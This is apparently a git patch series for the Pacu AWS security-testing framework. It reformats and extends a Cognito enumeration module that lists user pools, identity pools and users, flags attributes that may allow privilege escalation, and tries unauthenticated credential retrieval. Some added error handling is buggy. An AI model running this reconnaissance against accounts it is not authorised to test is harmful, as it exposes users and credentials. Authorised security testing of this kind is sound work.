) - elif code == "ResourceNotFoundException": - print( - "No principal tags configured for user pool IdP" - + identity_provider_name - ) + code = error.response['Error']['Code'] + if code == 'UnauthorizedOperation': + print(' Access denied to GetPrincipalTagAttributeMap.') + elif code == 'ResourceNotFoundException': + print('No principal tags configured for user pool IdP' + identity_provider_name) else: - print(" " + code) - print( - " Skipping identity pool principal tag attribute enumeration..." - ) + print(' ' + code) + print(' Skipping identity pool principal tag attribute enumeration...') identity_pools.append(identity_pool) - print(" {} identity pool(s) found.".format(len(identity_pools))) + print(' {} identity pool(s) found.'.format(len(identity_pools))) all_identity_pools += identity_pools # User Pool Clients if args.user_pool_clients: for user_pool in user_pools: - client = pacu_main.get_boto3_client("cognito-idp", region) + client = pacu_main.get_boto3_client('cognito-idp', region) next_token = None while True: try: - print( - f"Trying to list user pool clients for UserPoolId: {user_pool['Id']}" - ) + print(f"Trying to list user pool clients for UserPoolId: {user_pool['Id']}") if next_token is None: response = client.list_user_pool_clients( - UserPoolId=user_pool["Id"], MaxResults=60 + UserPoolId=user_pool['Id'], + MaxResults=60 ) else: response = client.list_user_pool_clients( - UserPoolId=user_pool["Id"], + UserPoolId=user_pool['Id'], MaxResults=60, - NextToken=next_token, + NextToken=next_token ) - for user_pool_client in response["UserPoolClients"]: + for user_pool_client in response['UserPoolClients']: resource_server_scopes = [] client_info = {} - print("User pool client found.") - print( - "Scanning user pool client " - + user_pool_client["ClientId"] - + " in user pool " - + user_pool["Id"] - + " for vulnerabilities." - ) - client_info["ClientId"] = user_pool_client["ClientId"] - client_info["UserPoolId"] = user_pool_client[ - "UserPoolId" - ] - client_info["Region"] = region - client_info[ - "Description" - ] = client.describe_user_pool_client( - UserPoolId=user_pool_client["UserPoolId"], - ClientId=user_pool_client["ClientId"], - ) - resource_servers = [] - next_token_resource = None + print('User pool client found.') + print('Scanning user pool client ' + user_pool_client['ClientId'] + ' in user pool ' + user_pool['Id'] + ' for vulnerabilities.') + try: + client_info['ClientId'] = user_pool_client['ClientId'] + client_info['UserPoolId'] = user_pool_client['UserPoolId'] + client_info['Region'] = region + client_info['Description'] = client.describe_user_pool_client(UserPoolId=user_pool_client['UserPoolId'], ClientId=user_pool_client['ClientId']) + resource_servers = [] + next_token_resource = None + except error as e: + print(f"Error: {e}") + resource_servers = [] + next_token_resource = None + except ClientError as error: + print('FAILURE: ') + code = error.response['Error']['Code'] while True: if next_token_resource is None: - resource_servers_response = ( - client.list_resource_servers( - UserPoolId=user_pool_client[ - "UserPoolId" - ], - MaxResults=50, - ) - ) + resource_servers_response = client.list_resource_servers(UserPoolId=user_pool_client['UserPoolId'], MaxResults=50) else: - resource_servers_response = ( - client.list_resource_servers( - UserPoolId=user_pool_client[ - "UserPoolId" - ], - MaxResults=50, - NextToken=next_token_resource, - ) - ) - resource_servers.extend( - resource_servers_response["ResourceServers"] - ) - next_token_resource = resource_servers_response.get( - "NextToken" - ) + resource_servers_response = client.list_resource_servers(UserPoolId=user_pool_client['UserPoolId'], MaxResults=50, NextToken=next_token_resource) + resource_servers.extend(resource_servers_response['ResourceServers']) + next_token_resource = resource_servers_response.get('NextToken') if next_token_resource is None: break try: for resource_server in resource_servers: - if "Scopes" in resource_server: - for scope in resource_server["Scopes"]: - resource_server_scopes.append( - scope["ScopeName"] - ) + if 'Scopes' in resource_server: + for scope in resource_server['Scopes']: + resource_server_scopes.append(scope['ScopeName']) except Exception as error: - code = error.response["Error"]["Code"] - if code == "UnauthorizedOperation": - print(" Access denied to ListResourceServers.") + code = error.response['Error']['Code'] + if code == 'UnauthorizedOperation': + print(' Access denied to ListResourceServers.') else: - print(" " + code) - print(" Skipping resource server enumeration...") - if resource_servers: - user_pool["Description"]["UserPool"][ - "ResourceServers" - ] = resource_servers - write_attributes = client_info["Description"][ - "UserPoolClient" - ]["WriteAttributes"] - if ( - user_pool.get("Description") - and user_pool["Description"].get("UserPool") - and user_pool["Description"]["UserPool"].get( - "UserAttributeUpdateSettings" - ) - and user_pool["Description"]["UserPool"][ - "UserAttributeUpdateSettings" - ].get("AttributesRequireVerificationBeforeUpdate") - ): - verify_attributes = user_pool["Description"][ - "UserPool" - ]["UserAttributeUpdateSettings"][ - "AttributesRequireVerificationBeforeUpdate" - ] - if ( - client_info.get("Description") - and client_info["Description"].get("UserPoolClient") - and client_info["Description"][ - "UserPoolClient" - ].get("AllowedOAuthScopes") - ): - client_scopes = client_info["Description"][ - "UserPoolClient" - ]["AllowedOAuthScopes"] + print(' ' + code) + print(' Skipping resource server enumeration...') + if resource_servers: + user_pool['Description']['UserPool']['ResourceServers'] = resource_servers + try: + if client_info.get('Description') and client_info['Description'].get('UserPoolClient') and client_info['Description']['UserPoolClient'].get('WriteAttributes'): + write_attributes = client_info['Description']['UserPoolClient']['WriteAttributes'] + else: + write_attributes = [] + except Exception as error: + code = error.response['Error']['Code'] + if code == 'UnauthorizedOperation': + print(' Access denied to ListResourceServers.') + else: + print(' ' + code) + print(' Skipping resource server enumeration...') + except error as e: + print(f"Error: {e}") + if user_pool.get('Description') and user_pool['Description'].get('UserPool') and user_pool['Description']['UserPool'].get('UserAttributeUpdateSettings') and user_pool['Description']['UserPool']['UserAttributeUpdateSettings'].get('AttributesRequireVerificationBeforeUpdate'): + verify_attributes = user_pool['Description']['UserPool']['UserAttributeUpdateSettings']['AttributesRequireVerificationBeforeUpdate'] + if client_info.get('Description') and client_info['Description'].get('UserPoolClient') and client_info['Description']['UserPoolClient'].get('AllowedOAuthScopes'): + client_scopes = client_info['Description']['UserPoolClient']['AllowedOAuthScopes'] identity_attributes = [] identity_claims = [] for identity_pool in identity_pools: - if identity_pool.get( - "PrincipalTagAttributes" - ) and identity_pool["PrincipalTagAttributes"].get( - "PrincipalTags" - ): - identity_attributes.append( - identity_pool["PrincipalTagAttributes"][ - "PrincipalTags" - ] - ) - if ( - identity_pool.get("Roles") - and identity_pool["Roles"].get("RoleMappings") - and identity_pool["Roles"]["RoleMappings"].get( - "RulesConfiguration" - ) - and identity_pool["Roles"]["RoleMappings"][ - "RulesConfiguration" - ].get("Rules") - and identity_pool["Roles"]["RoleMappings"][ - "RulesConfiguration" - ]["Rules"].get("Claim") - ): - identity_claims.append( - identity_pool["Roles"]["RoleMappings"][ - "RulesConfiguration" - ]["Rules"]["Claim"] - ) + if identity_pool.get('PrincipalTagAttributes') and identity_pool['PrincipalTagAttributes'].get('PrincipalTags'): + identity_attributes.append(identity_pool['PrincipalTagAttributes']['PrincipalTags']) + if identity_pool.get('Roles') and identity_pool['Roles'].get('RoleMappings') and identity_pool['Roles']['RoleMappings'].get('RulesConfiguration') and identity_pool['Roles']['RoleMappings']['RulesConfiguration'].get('Rules') and identity_pool['Roles']['RoleMappings']['RulesConfiguration']['Rules'].get('Claim'): + identity_claims.append(identity_pool['Roles']['RoleMappings']['RulesConfiguration']['Rules']['Claim']) user_writable_attributes = [] client_scope_user_writable_attributes = [] resource_server_scope_user_writable_attributes = [] identity_attributes_user_writable_attributes = [] identity_claims_user_writable_attributes = [] verify_attributes = [] - for schema_attribute in user_pool["Description"][ - "UserPool" - ]["SchemaAttributes"]: - if schema_attribute["Name"] in write_attributes: - if ( - schema_attribute["DeveloperOnlyAttribute"] - is False - and schema_attribute["Mutable"] is True - ): - user_writable_attributes.append( - schema_attribute["Name"] - ) - print( - "The following attributes can be modified by users: " - + str(user_writable_attributes) - ) - client_scope_user_writable_attributes = [ - attr - for attr in user_writable_attributes - if any( - attr == scope - or attr.replace("custom:", "") - == scope.split("/")[-1] - for scope in client_scopes - ) - ] - resource_server_scope_user_writable_attributes = [ - attr - for attr in user_writable_attributes - if attr in resource_server_scopes - or attr.replace("custom:", "") - in resource_server_scopes - ] - identity_attributes_user_writable_attributes = [ - attr - for attr in user_writable_attributes - if attr in identity_attributes - or attr.replace("custom:", "") - in identity_attributes - ] - identity_claims_user_writable_attributes = [ - attr - for attr in user_writable_attributes - if attr in identity_claims - or attr.replace("custom:", "") in identity_claims - ] + if user_pool.get('Description') and user_pool['Description'].get('UserPool') and user_pool['Description']['UserPool'].get('SchemaAttributes'): + for schema_attribute in user_pool['Description']['UserPool']['SchemaAttributes']: + try: + if write_attributes: + if schema_attribute['Name'] in write_attributes: + if schema_attribute['DeveloperOnlyAttribute'] is False and schema_attribute['Mutable'] is True: + user_writable_attributes.append(schema_attribute['Name']) + except Exception as e: + print(f"Error: {e}") + if user_writable_attributes: + print('The following attributes can be modified by users: ' + str(user_writable_attributes)) + client_scope_user_writable_attributes = [ + attr for attr in user_writable_attributes + if any( + attr == scope or attr.replace('custom:', '') == scope.split('/')[-1] + for scope in client_scopes + ) + ] + resource_server_scope_user_writable_attributes = [attr for attr in user_writable_attributes if attr in resource_server_scopes or attr.replace('custom:', '') in resource_server_scopes] + identity_attributes_user_writable_attributes = [attr for attr in user_writable_attributes if attr in identity_attributes or attr.replace('custom:', '') in identity_attributes] + identity_claims_user_writable_attributes = [attr for attr in user_writable_attributes if attr in identity_claims or attr.replace('custom:', '') in identity_claims] for user_writable_attribute in user_writable_attributes: - if user_writable_attribute == "phone_number": - if ( - user_writable_attribute - not in verify_attributes - ): - print( - "Attribute 'phone_number' does not require verification before changing!" - ) - if user_writable_attribute == "email": - if ( - user_writable_attribute - not in verify_attributes - ): - print( - "Attribute 'email' does not require verification before changing!" - ) + if user_writable_attribute == 'phone_number': + if user_writable_attribute not in verify_attributes: + print('Attribute \'phone_number\' does not require verification before changing!') + if user_writable_attribute == 'email': + if user_writable_attribute not in verify_attributes: + print('Attribute \'email\' does not require verification before changing!') if client_scope_user_writable_attributes: - print( - "The following attributes can be modified by users and are used for access control by this client (this may allow privilege escalation): " - + str(client_scope_user_writable_attributes) - ) + print('The following attributes can be modified by users and are used for access control by this client (this may allow privilege escalation): ' + str(client_scope_user_writable_attributes)) if resource_server_scope_user_writable_attributes: - print( - "The following attributes can be modified by users and are used for access control by a resource server (this may allow privilege escalation): " - + str( - resource_server_scope_user_writable_attributes - ) - ) + print('The following attributes can be modified by users and are used for access control by a resource server (this may allow privilege escalation): ' + str(resource_server_scope_user_writable_attributes)) else: - print("No resource servers found.") + print('No resource servers found.') if identity_attributes_user_writable_attributes: - print( - "The following attributes can be modified by users and are used for access control by an identity pool (this may allow privilege escalation): " - + str( - identity_attributes_user_writable_attributes - ) - ) + print('The following attributes can be modified by users and are used for access control by an identity pool (this may allow privilege escalation): ' + str(identity_attributes_user_writable_attributes)) else: - print("No identity pools found.") + print('No identity pools found.') if identity_claims_user_writable_attributes: - print( - "The following attributes can be modified by users and may be used for access control by an identity pool rule (this may allow privilege escalation): " - + str(identity_claims_user_writable_attributes) - ) + print('The following attributes can be modified by users and may be used for access control by an identity pool rule (this may allow privilege escalation): ' + str(identity_claims_user_writable_attributes)) else: - print("No identity pools found.") - user_pool_clients.append(client_info) - if not response.get("NextToken"): + print('No identity pools found.') + user_pool_clients.append(client_info) + if not response.get('NextToken'): break except ClientError as error: - code = error.response["Error"]["Code"] - print("FAILURE: ") - if code == "UnauthorizedOperation": - print(" Access denied to ListUserPoolClients.") - elif code == "InvalidParameterException": # Add this block - print(" InvalidParameterException") - print( - f" UserPoolId causing the issue: {user_pool['Id']}" - ) + code = error.response['Error']['Code'] + print('FAILURE: ') + if code == 'UnauthorizedOperation': + print(' Access denied to ListUserPoolClients.') + elif code == 'InvalidParameterException': # Add this block + print(' InvalidParameterException') + print(f" UserPoolId causing the issue: {user_pool['Id']}") break else: - print(" " + code) - print(" Skipping user pool client enumeration...") + print(' ' + code) + print(' Skipping user pool client enumeration...') break try: - print( - f' {len(user_pool_clients)} user pool client(s) found in user pool {user_pool["Id"]}.' - ) + print(f' {len(user_pool_clients)} user pool client(s) found in user pool {user_pool["Id"]}.') except Exception as e: print(f"Error: {e}") - print("Still here!") + print('Still here!') all_user_pool_clients += user_pool_clients + # List Users in each User Pool if args.users: for user_pool in user_pools: - client = pacu_main.get_boto3_client("cognito-idp", region) + client = pacu_main.get_boto3_client('cognito-idp', region) response = None iterate = 0 - pagination_token = "" - while iterate == 0 or "PaginationToken" in response: + pagination_token = '' + while (iterate == 0 or 'PaginationToken' in response): try: iterate += 1 - print( - f"Trying to list users for UserPoolId: {user_pool['Id']}" - ) # Add this line - response = ( - client.list_users( - UserPoolId=user_pool["Id"], - Limit=60, - PaginationToken=pagination_token, - ) - if pagination_token - else client.list_users( - UserPoolId=user_pool["Id"], Limit=60 - ) - ) - pagination_token = ( - response["PaginationToken"] - if "PaginationToken" in response - else "" + print(f"Trying to list users for UserPoolId: {user_pool['Id']}") # Add this line + response = client.list_users( + UserPoolId=user_pool['Id'], + Limit=60, + PaginationToken=pagination_token + ) if pagination_token else client.list_users( + UserPoolId=user_pool['Id'], + Limit=60 ) + pagination_token = response['PaginationToken'] if 'PaginationToken' in response else '' - for user in response["Users"]: - user["UserPoolId"] = user_pool["Id"] - user["Region"] = region + for user in response['Users']: + user['UserPoolId'] = user_pool['Id'] + user['Region'] = region users_in_pools.append(user) except ClientError as error: - code = error.response["Error"]["Code"] - print("FAILURE: ") - if code == "UnauthorizedOperation": - print(" Access denied to ListUsers.") - elif code == "InvalidParameterException": # Add this block - print(" InvalidParameterException") - print( - f" UserPoolId causing the issue: {user_pool['Id']}" - ) + code = error.response['Error']['Code'] + print('FAILURE: ') + if code == 'UnauthorizedOperation': + print(' Access denied to ListUsers.') + elif code == 'InvalidParameterException': # Add this block + print(' InvalidParameterException') + print(f" UserPoolId causing the issue: {user_pool['Id']}") break else: - print(" " + code) - print(" Skipping user enumeration...") + print(' ' + code) + print(' Skipping user enumeration...') - print( - f' {len(users_in_pools)} user(s) found in user pool {user_pool["Id"]}.' - ) + print(f' {len(users_in_pools)} user(s) found in user pool {user_pool["Id"]}.') all_users_in_pools += users_in_pools except Exception: continue - + gathered_data = { - "UserPools": all_user_pools, - "UserPoolClients": all_user_pool_clients, - "IdentityPools": all_identity_pools, - "UsersInPools": all_users_in_pools, + 'UserPools': all_user_pools, + 'UserPoolClients': all_user_pool_clients, + 'IdentityPools': all_identity_pools, + 'UsersInPools': all_users_in_pools } for var in vars(args): - if var == "regions": + if var == 'regions': continue if not getattr(args, var): if ARG_FIELD_MAPPER[var] in gathered_data: @@ -683,46 +466,34 @@ def main(args, pacu_main): session.update(pacu_main.database, Cognito=cognito_data) # Add regions to gathered_data for summary output - gathered_data["regions"] = regions + gathered_data['regions'] = regions if any([args.user_pools, args.identity_pools]): return gathered_data else: - print("No data successfully enumerated.\n") + print('No data successfully enumerated.\n') return None def summary(data, pacu_main): results = [] - results.append(" Regions:") - for region in data["regions"]: - results.append(" {}".format(region)) - - results.append("") - - if "UserPools" in data: - results.append( - " {} total user pool(s) found.".format(len(data["UserPools"])) - ) - - if "UserPoolClients" in data: - results.append( - " {} total user pool client(s) found.".format( - len(data["UserPoolClients"]) - ) - ) - - if "IdentityPools" in data: - results.append( - " {} total identity pool(s) found.".format(len(data["IdentityPools"])) - ) - - if "UsersInPools" in data: - results.append( - " {} total user(s) in user pool(s) found.".format( - len(data["UsersInPools"]) - ) - ) - - return "\n".join(results) + results.append(' Regions:') + for region in data['regions']: + results.append(' {}'.format(region)) + + results.append('') + + if 'UserPools' in data: + results.append(' {} total user pool(s) found.'.format(len(data['UserPools']))) + + if 'UserPoolClients' in data: + results.append(' {} total user pool client(s) found.'.format(len(data['UserPoolClients']))) + + if 'IdentityPools' in data: + results.append(' {} total identity pool(s) found.'.format(len(data['IdentityPools']))) + + if 'UsersInPools' in data: + results.append(' {} total user(s) in user pool(s) found.'.format(len(data['UsersInPools']))) + + return '\n'.join(results) From 33891bfed4d8f098a7c8888ea3ac4a03cb4cee73 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 25 Jul 2023 17:19:12 -0400 Subject: [PATCH 4/9] Fix dynamodb__enum error and add cognito__enum features --- pacu/modules/cognito__enum/main.py | 5 +---- pacu/modules/dynamodb__enum/main.py | 2 +- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/pacu/modules/cognito__enum/main.py b/pacu/modules/cognito__enum/main.py index 9b2e0ef6..350ee964 100644 --- a/pacu/modules/cognito__enum/main.py +++ b/pacu/modules/cognito__enum/main.py @@ -363,8 +363,6 @@ def main(args, pacu_main): if user_writable_attribute == 'email': if user_writable_attribute not in verify_attributes: print('Attribute \'email\' does not require verification before changing!') - if client_scope_user_writable_attributes: - print('The following attributes can be modified by users and are used for access control by this client (this may allow privilege escalation): ' + str(client_scope_user_writable_attributes)) if resource_server_scope_user_writable_attributes: print('The following attributes can be modified by users and are used for access control by a resource server (this may allow privilege escalation): ' + str(resource_server_scope_user_writable_attributes)) else: @@ -397,7 +395,6 @@ def main(args, pacu_main): print(f' {len(user_pool_clients)} user pool client(s) found in user pool {user_pool["Id"]}.') except Exception as e: print(f"Error: {e}") - print('Still here!') all_user_pool_clients += user_pool_clients @@ -496,4 +493,4 @@ def summary(data, pacu_main): if 'UsersInPools' in data: results.append(' {} total user(s) in user pool(s) found.'.format(len(data['UsersInPools']))) - return '\n'.join(results) + return '\n'.join(results) \ No newline at end of file diff --git a/pacu/modules/dynamodb__enum/main.py b/pacu/modules/dynamodb__enum/main.py index b7aca241..55472068 100644 --- a/pacu/modules/dynamodb__enum/main.py +++ b/pacu/modules/dynamodb__enum/main.py @@ -50,7 +50,7 @@ def fetch_dynamodb_data(client, func, key, print, **kwargs): if isinstance(data, (dict, str)): return data while 'LastEvaluatedTableName' in response: - response = caller({**kwargs, **{'ExclusiveStartTableName': response['LastEvaluatedTableName']}}) + response = caller(ExclusiveStartTableName=response['LastEvaluatedTableName'], **kwargs) data.extend(response[key]) return data except client.exceptions.ResourceNotFoundException: From 1d6816a79ea396e170d45b520ddd4f0a7bc08257 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 27 Jul 2023 16:04:43 -0400 Subject: [PATCH 5/9] Beta release coinciding with blog post QA --- pacu/modules/cognito__enum/main.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/pacu/modules/cognito__enum/main.py b/pacu/modules/cognito__enum/main.py index 350ee964..b668f442 100644 --- a/pacu/modules/cognito__enum/main.py +++ b/pacu/modules/cognito__enum/main.py @@ -173,12 +173,14 @@ def main(args, pacu_main): next_token = response['NextToken'] for identity_pool in response['IdentityPools']: identity_pool['Region'] = region + print("Scanning identity pool " + identity_pool['IdentityPoolId'] + " for vulnerabilities.") print("Attempting unauthenticated retrieval of identity Id") try: identity_id = client.get_id( IdentityPoolId=identity_pool["IdentityPoolId"] ) - print(f"Identity ID: {identity_id}") + if identity_id is not None: + print("Identity id successfully retrieved: " + identity_id["IdentityId"]) print( "Attempting unauthenticated retrieval of identity Id credentials" ) From 9c09318971da4f4ab7f1b28268ce83b2edb16cd1 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 13 Sep 2023 14:46:50 -0400 Subject: [PATCH 6/9] fixing conflicts --- poetry.lock | 1160 ++++++++++++++++++++++-------------------------- pyproject.toml | 1 + 2 files changed, 543 insertions(+), 618 deletions(-) diff --git a/poetry.lock b/poetry.lock index 693be54c..8a11d23d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,26 +1,37 @@ +# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand. + [[package]] name = "ansicon" version = "1.89.0" description = "Python wrapper for loading Jason Hood's ANSICON" -category = "main" optional = false python-versions = "*" +files = [ + {file = "ansicon-1.89.0-py2.py3-none-any.whl", hash = "sha256:f1def52d17f65c2c9682cf8370c03f541f410c1752d6a14029f97318e4b9dfec"}, + {file = "ansicon-1.89.0.tar.gz", hash = "sha256:e4d039def5768a47e4afec8e89e83ec3ae5a26bf00ad851f914d1240b444d2b1"}, +] [[package]] name = "atomicwrites" version = "1.4.0" description = "Atomic file writes." -category = "dev" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"}, + {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"}, +] [[package]] name = "attrs" version = "20.3.0" description = "Classes Without Boilerplate" -category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "attrs-20.3.0-py2.py3-none-any.whl", hash = "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6"}, + {file = "attrs-20.3.0.tar.gz", hash = "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700"}, +] [package.extras] dev = ["coverage[toml] (>=5.0.2)", "furo", "hypothesis", "pre-commit", "pympler", "pytest (>=4.3.0)", "six", "sphinx", "zope.interface"] @@ -32,9 +43,12 @@ tests-no-zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (> name = "awscli" version = "1.20.13" description = "Universal Command Line Environment for AWS." -category = "main" optional = false python-versions = ">= 3.6" +files = [ + {file = "awscli-1.20.13-py3-none-any.whl", hash = "sha256:1039ab7ac6051297162ce96cbff4fd5dfc4d3a9c9796a856aeab0f460806d118"}, + {file = "awscli-1.20.13.tar.gz", hash = "sha256:a9a580916b6934f6bcc0356184bf802eb573374b532da2d6a01c4a2129e214cc"}, +] [package.dependencies] botocore = "1.21.13" @@ -48,9 +62,12 @@ s3transfer = ">=0.5.0,<0.6.0" name = "blessed" version = "1.17.6" description = "Easy, practical library for making terminal apps, by providing an elegant, well-documented interface to Colors, Keyboard input, and screen Positioning capabilities." -category = "main" optional = false python-versions = "*" +files = [ + {file = "blessed-1.17.6-py2.py3-none-any.whl", hash = "sha256:8371d69ac55558e4b1591964873d6721136e9ea17a730aeb3add7d27761b134b"}, + {file = "blessed-1.17.6.tar.gz", hash = "sha256:a9a774fc6eda05248735b0d86e866d640ca2fef26038878f7e4d23f7749a1e40"}, +] [package.dependencies] jinxed = {version = ">=0.5.4", markers = "platform_system == \"Windows\""} @@ -61,9 +78,12 @@ wcwidth = ">=0.1.4" name = "boto3" version = "1.18.13" description = "The AWS SDK for Python" -category = "main" optional = false python-versions = ">= 3.6" +files = [ + {file = "boto3-1.18.13-py3-none-any.whl", hash = "sha256:bd6524c4ac854eb1fa31ab7040d405385f11231b84988b2a5c8e9896a3da0bf1"}, + {file = "boto3-1.18.13.tar.gz", hash = "sha256:8c3676239a35eba465e7df2df58ca400219729d4b732b7202f18caf0308ececa"}, +] [package.dependencies] botocore = ">=1.21.13,<1.22.0" @@ -77,9 +97,12 @@ crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] name = "boto3-stubs" version = "1.18.13" description = "Type annotations for boto3 1.18.13, generated by mypy-boto3-builder 5.1.0" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "boto3-stubs-1.18.13.tar.gz", hash = "sha256:8c3f6fe8f40564dbdca6a86316372f59ade668526ad99c52fd0cadb148f334cb"}, + {file = "boto3_stubs-1.18.13-py3-none-any.whl", hash = "sha256:1dcdb88e561b775b898e163797400c186e7647ee80014a10861a073f94ad1fea"}, +] [package.dependencies] botocore-stubs = "*" @@ -369,9 +392,12 @@ xray = ["mypy-boto3-xray (>=1.18.8)"] name = "botocore" version = "1.21.13" description = "Low-level, data-driven core of boto 3." -category = "main" optional = false python-versions = ">= 3.6" +files = [ + {file = "botocore-1.21.13-py3-none-any.whl", hash = "sha256:ce20da2dff6ab36ebee3b2efdf0bcc859ee1a7f8ec0d2ae3eaac5f50f6c729fd"}, + {file = "botocore-1.21.13.tar.gz", hash = "sha256:37c1c17326f9c81aba73efc6b496ccfe536822e576bc89ceee460dc18108f3a0"}, +] [package.dependencies] jmespath = ">=0.7.1,<1.0.0" @@ -385,9 +411,12 @@ crt = ["awscrt (==0.11.24)"] name = "botocore-stubs" version = "1.21.13" description = "Type annotations for botocore 1.21.13, generated by mypy-boto3-builder 5.1.0" -category = "dev" optional = false python-versions = ">=3.6" +files = [ + {file = "botocore-stubs-1.21.13.tar.gz", hash = "sha256:5e8da6f6de18589def5410719a451f5c79b7720ba58da5784810dcef7d47df4e"}, + {file = "botocore_stubs-1.21.13-py3-none-any.whl", hash = "sha256:8a4619ded9f2887f346b22e05c879afa3d45f31b0b23ca58cfa82188742eccb3"}, +] [package.dependencies] typing-extensions = {version = "*", markers = "python_version < \"3.8\""} @@ -396,17 +425,66 @@ typing-extensions = {version = "*", markers = "python_version < \"3.8\""} name = "certifi" version = "2022.12.7" description = "Python package for providing Mozilla's CA Bundle." -category = "main" optional = false python-versions = ">=3.6" +files = [ + {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, + {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, +] [[package]] name = "cffi" version = "1.14.6" description = "Foreign Function Interface for Python calling C code." -category = "main" optional = false python-versions = "*" +files = [ + {file = "cffi-1.14.6-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c"}, + {file = "cffi-1.14.6-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99"}, + {file = "cffi-1.14.6-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819"}, + {file = "cffi-1.14.6-cp27-cp27m-win32.whl", hash = "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20"}, + {file = "cffi-1.14.6-cp27-cp27m-win_amd64.whl", hash = "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224"}, + {file = "cffi-1.14.6-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7"}, + {file = "cffi-1.14.6-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33"}, + {file = "cffi-1.14.6-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534"}, + {file = "cffi-1.14.6-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a"}, + {file = "cffi-1.14.6-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5"}, + {file = "cffi-1.14.6-cp35-cp35m-win32.whl", hash = "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca"}, + {file = "cffi-1.14.6-cp35-cp35m-win_amd64.whl", hash = "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218"}, + {file = "cffi-1.14.6-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f"}, + {file = "cffi-1.14.6-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872"}, + {file = "cffi-1.14.6-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195"}, + {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d"}, + {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b"}, + {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb"}, + {file = "cffi-1.14.6-cp36-cp36m-win32.whl", hash = "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a"}, + {file = "cffi-1.14.6-cp36-cp36m-win_amd64.whl", hash = "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e"}, + {file = "cffi-1.14.6-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5"}, + {file = "cffi-1.14.6-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf"}, + {file = "cffi-1.14.6-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69"}, + {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56"}, + {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c"}, + {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 